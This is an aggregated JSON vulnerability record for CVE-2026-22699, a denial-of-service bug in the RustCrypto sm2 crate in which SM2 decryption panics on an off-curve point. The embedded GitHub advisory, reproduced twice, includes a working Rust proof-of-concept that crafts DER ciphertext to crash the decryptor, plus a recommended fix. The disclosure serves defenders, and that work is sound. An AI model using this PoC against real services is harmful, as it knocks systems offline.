{"id":"CVE-2026-22699","aliases":["EUVD-2026-1875","GHSA-78p6-6878-8mj6"],"status":"published","title":"RustCrypto SM2-PKE has Unchecked AffinePoint Decoding (unwrap) in decrypt()","description":"RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(\u0026encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input. This issue has been patched via commit 085b7be.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00436,"percentile":0.38238,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-20"],"published":"2026-01-09T22:35:35Z","modified":"2026-10-28T02:31:03Z","affected":[{"source":"ghsa","ecosystem":"crates.io","package":"sm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.14.0-pre.0"},{"last_affected":"0.14.0-rc.4"}]}]},{"source":"osv","ecosystem":"crates.io","package":"sm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0.14.0-pre.0"},{"last_affected":"0.14.0-rc.4"}]}]}],"products":[{"vendor":"rustcrypto","product":"elliptic-curves"},{"vendor":"rustcrypto","product":"sm2_elliptic_curve"}],"references":[{"url":"https://github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-78p6-6878-8mj6","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/RustCrypto/elliptic-curves/pull/1602","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/RustCrypto/elliptic-curves/commit/085b7bee647029bd189e1375203418205006bcab","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22699","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-78p6-6878-8mj6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/22xxx/CVE-2026-22699.json","tags":["advisory"]},{"url":"https://github.com/RustCrypto/elliptic-curves","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-22699","title":"RustCrypto SM2-PKE has Unchecked AffinePoint Decoding (unwrap) in decrypt()","description":"RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(\u0026encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input. This issue has been patched via commit 085b7be.","status":"published","published":"2026-01-10T05:17:22.818Z","modified":"2026-01-12T14:59:18.634Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T13:39:05.585774Z"}],"euvd":[{"id":"EUVD-2026-1875","description":"RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(\u0026encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input. This issue has been patched via commit 085b7be.","status":"published","published":"2026-01-10T05:17:22Z","modified":"2026-01-12T14:59:18Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T19:48:53.623536Z"}],"ghsa":[{"id":"GHSA-78p6-6878-8mj6","title":"SM2-PKE has Unchecked AffinePoint Decoding (unwrap) in decrypt()","description":"### Summary\n\nA denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, `AffinePoint::from_encoded_point(\u0026encoded_c1)` may return a `None`/`CtOption::None` when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used `.unwrap()`, causing a panic when presented with such input.\n\n\n\n\n### Affected Component / Versions\n\n- File: `src/pke/decrypting.rs`\n\n- Function: internal `decrypt()` (invoked by `DecryptingKey::decrypt*` methods)\n\n- Affected releases: \n\n  - sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)\n  - sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)\n\n  \n\n\n### Details\n\nThe library decodes the C1 field (an EC point) as an `EncodedPoint` and then converts it to an `AffinePoint` using `AffinePoint::from_encoded_point(\u0026encoded_c1)`. That conversion returns a `CtOption\u003cAffinePoint\u003e` (or an `Option` equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called `.unwrap()` on that result, causing a panic when\n`None` was returned. Because `EncodedPoint::from_bytes()` only validates format (length and SEC1\nencoding) and not mathematical validity, an attacker can craft `C1 = 0x04 || X || Y` with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger `from_encoded_point()` failure and therefore panic on `.unwrap()`.\n\n\n\n\n### Proof of Concept (PoC)\n\n`examples/poc_der_invalid_point.rs` constructs an ASN.1 DER `Cipher` structure\nwith `x` and `y` set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22),\nand passes it to `DecryptingKey::decrypt_der`. With the vulnerable code, this\nproduces a panic originating at the `unwrap()` call in `decrypt()`. Other APIs such as `DecryptingKey::decrypt` also produce a panic with invalid C1 point.\n\n``` rust\n//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER\n//! where x/y are valid-length integers but do not lie on the curve.\n//!\n//! Usage:\n//!   RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point\n\nuse rand_core::OsRng;\nuse sm2::SecretKey;\nuse sm2::pke::DecryptingKey;\n\nfn build_der(x: \u0026[u8], y: \u0026[u8], digest: \u0026[u8], cipher: \u0026[u8]) -\u003e Vec\u003cu8\u003e {\n    // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }\n    let mut body = Vec::new();\n\n    // INTEGER x\n    body.push(0x02);\n    body.push(x.len() as u8);\n    body.extend_from_slice(x);\n\n    // INTEGER y\n    body.push(0x02);\n    body.push(y.len() as u8);\n    body.extend_from_slice(y);\n\n    // OCTET STRING digest\n    body.push(0x04);\n    body.push(digest.len() as u8);\n    body.extend_from_slice(digest);\n\n    // OCTET STRING cipher\n    body.push(0x04);\n    body.push(cipher.len() as u8);\n    body.extend_from_slice(cipher);\n\n    // SEQUENCE header\n    let mut der = Vec::new();\n    der.push(0x30);\n    der.push(body.len() as u8);\n    der.extend(body);\n    der\n}\n\nfn main() {\n    let mut rng = OsRng;\n    let sk = SecretKey::try_from_rng(\u0026mut rng).expect(\"failed to generate secret key\");\n    let dk = DecryptingKey::new(sk);\n\n    // x/y are 32-byte values that almost certainly are NOT on the curve\n    let x = [0x11u8; 32];\n    let y = [0x22u8; 32];\n    let digest = [0x33u8; 32];\n    let cipher = [0x44u8; 16];\n\n    let der = build_der(\u0026x, \u0026y, \u0026digest, \u0026cipher);\n\n    println!(\"Calling decrypt_der with DER (len={})...\", der.len());\n\n    // Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())\n    let _ = dk.decrypt_der(\u0026der);\n\n    println!(\"decrypt_der returned (unexpected) - PoC did not panic\");\n}\n\n```\n\nRun locally:\n\n```bash\nRUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std\n```\n\nThe process will panic with a backtrace pointing to `src/pke/decrypting.rs` at the `from_encoded_point(...).unwrap()` call.\n\n\n\n\n### Impact\n\n- Denial of Service: an attacker who can submit ciphertext (or DER ciphertext)\n  can crash the decrypting thread/process.\n- Low attacker effort: crafting random 32-byte X/Y values that are not on the\n  curve is trivial.\n- Wide exposure: any service that accepts ciphertext and links this library is\n  vulnerable.\n\n\n### Recommended Fix\n\nDo not call `.unwrap()` on the result of `AffinePoint::from_encoded_point()`.\nInstead, convert the `CtOption` to an `Option` (or inspect it) and return a\nlibrary `Err` for invalid points. Example minimal fix:\n\n```rust\n    // Return an error instead of panicking when the provided point is not on the curve.\n    let mut c1_point: AffinePoint = match AffinePoint::from_encoded_point(\u0026encoded_c1).into() {\n        Some(p) =\u003e p,\n        None =\u003e return Err(Error),\n    };\n```\n\nThis ensures `decrypt()` returns a controlled error for invalid or malformed points instead of panicking.\n\n\n\n### **Credit**\n\nThis vulnerability was discovered by:\n\n- XlabAI Team of Tencent Xuanwu Lab\n\n- Atuin Automated Vulnerability Discovery Engine\n\nCVE and credit are preferred.\n\nIf developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at xlabai@tencent.com.\n\n \n\n### **Note**\n\nThis organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.","status":"published","published":"2026-01-09T22:35:35Z","modified":"2026-01-11T14:56:41Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:39:16.156387Z"}],"nvd":[{"id":"CVE-2026-22699","description":"RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(\u0026encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input. This issue has been patched via commit 085b7be.","status":"published","published":"2026-01-10T06:15:52.377Z","modified":"2026-06-17T10:20:15.45Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:12:03.683495Z"}],"osv":[{"id":"CVE-2026-22699","title":"RustCrypto SM2-PKE has Unchecked AffinePoint Decoding (unwrap) in decrypt()","description":"RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(\u0026encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input. This issue has been patched via commit 085b7be.","status":"published","published":"2026-01-10T05:17:22.818Z","modified":"2026-10-28T02:31:03.17547318Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T15:44:58.42038Z"},{"id":"GHSA-78p6-6878-8mj6","title":"SM2-PKE has Unchecked AffinePoint Decoding (unwrap) in decrypt()","description":"### Summary\n\nA denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, `AffinePoint::from_encoded_point(\u0026encoded_c1)` may return a `None`/`CtOption::None` when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used `.unwrap()`, causing a panic when presented with such input.\n\n\n\n\n### Affected Component / Versions\n\n- File: `src/pke/decrypting.rs`\n\n- Function: internal `decrypt()` (invoked by `DecryptingKey::decrypt*` methods)\n\n- Affected releases: \n\n  - sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)\n  - sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)\n\n  \n\n\n### Details\n\nThe library decodes the C1 field (an EC point) as an `EncodedPoint` and then converts it to an `AffinePoint` using `AffinePoint::from_encoded_point(\u0026encoded_c1)`. That conversion returns a `CtOption\u003cAffinePoint\u003e` (or an `Option` equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called `.unwrap()` on that result, causing a panic when\n`None` was returned. Because `EncodedPoint::from_bytes()` only validates format (length and SEC1\nencoding) and not mathematical validity, an attacker can craft `C1 = 0x04 || X || Y` with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger `from_encoded_point()` failure and therefore panic on `.unwrap()`.\n\n\n\n\n### Proof of Concept (PoC)\n\n`examples/poc_der_invalid_point.rs` constructs an ASN.1 DER `Cipher` structure\nwith `x` and `y` set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22),\nand passes it to `DecryptingKey::decrypt_der`. With the vulnerable code, this\nproduces a panic originating at the `unwrap()` call in `decrypt()`. Other APIs such as `DecryptingKey::decrypt` also produce a panic with invalid C1 point.\n\n``` rust\n//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER\n//! where x/y are valid-length integers but do not lie on the curve.\n//!\n//! Usage:\n//!   RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point\n\nuse rand_core::OsRng;\nuse sm2::SecretKey;\nuse sm2::pke::DecryptingKey;\n\nfn build_der(x: \u0026[u8], y: \u0026[u8], digest: \u0026[u8], cipher: \u0026[u8]) -\u003e Vec\u003cu8\u003e {\n    // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }\n    let mut body = Vec::new();\n\n    // INTEGER x\n    body.push(0x02);\n    body.push(x.len() as u8);\n    body.extend_from_slice(x);\n\n    // INTEGER y\n    body.push(0x02);\n    body.push(y.len() as u8);\n    body.extend_from_slice(y);\n\n    // OCTET STRING digest\n    body.push(0x04);\n    body.push(digest.len() as u8);\n    body.extend_from_slice(digest);\n\n    // OCTET STRING cipher\n    body.push(0x04);\n    body.push(cipher.len() as u8);\n    body.extend_from_slice(cipher);\n\n    // SEQUENCE header\n    let mut der = Vec::new();\n    der.push(0x30);\n    der.push(body.len() as u8);\n    der.extend(body);\n    der\n}\n\nfn main() {\n    let mut rng = OsRng;\n    let sk = SecretKey::try_from_rng(\u0026mut rng).expect(\"failed to generate secret key\");\n    let dk = DecryptingKey::new(sk);\n\n    // x/y are 32-byte values that almost certainly are NOT on the curve\n    let x = [0x11u8; 32];\n    let y = [0x22u8; 32];\n    let digest = [0x33u8; 32];\n    let cipher = [0x44u8; 16];\n\n    let der = build_der(\u0026x, \u0026y, \u0026digest, \u0026cipher);\n\n    println!(\"Calling decrypt_der with DER (len={})...\", der.len());\n\n    // Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())\n    let _ = dk.decrypt_der(\u0026der);\n\n    println!(\"decrypt_der returned (unexpected) - PoC did not panic\");\n}\n\n```\n\nRun locally:\n\n```bash\nRUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std\n```\n\nThe process will panic with a backtrace pointing to `src/pke/decrypting.rs` at the `from_encoded_point(...).unwrap()` call.\n\n\n\n\n### Impact\n\n- Denial of Service: an attacker who can submit ciphertext (or DER ciphertext)\n  can crash the decrypting thread/process.\n- Low attacker effort: crafting random 32-byte X/Y values that are not on the\n  curve is trivial.\n- Wide exposure: any service that accepts ciphertext and links this library is\n  vulnerable.\n\n\n### Recommended Fix\n\nDo not call `.unwrap()` on the result of `AffinePoint::from_encoded_point()`.\nInstead, convert the `CtOption` to an `Option` (or inspect it) and return a\nlibrary `Err` for invalid points. Example minimal fix:\n\n```rust\n    // Return an error instead of panicking when the provided point is not on the curve.\n    let mut c1_point: AffinePoint = match AffinePoint::from_encoded_point(\u0026encoded_c1).into() {\n        Some(p) =\u003e p,\n        None =\u003e return Err(Error),\n    };\n```\n\nThis ensures `decrypt()` returns a controlled error for invalid or malformed points instead of panicking.\n\n\n\n### **Credit**\n\nThis vulnerability was discovered by:\n\n- XlabAI Team of Tencent Xuanwu Lab\n\n- Atuin Automated Vulnerability Discovery Engine\n\nCVE and credit are preferred.\n\nIf developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at xlabai@tencent.com.\n\n \n\n### **Note**\n\nThis organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.","status":"published","published":"2026-01-09T22:35:35Z","modified":"2026-02-03T03:03:33.908154Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T15:46:40.657155Z"}]}}
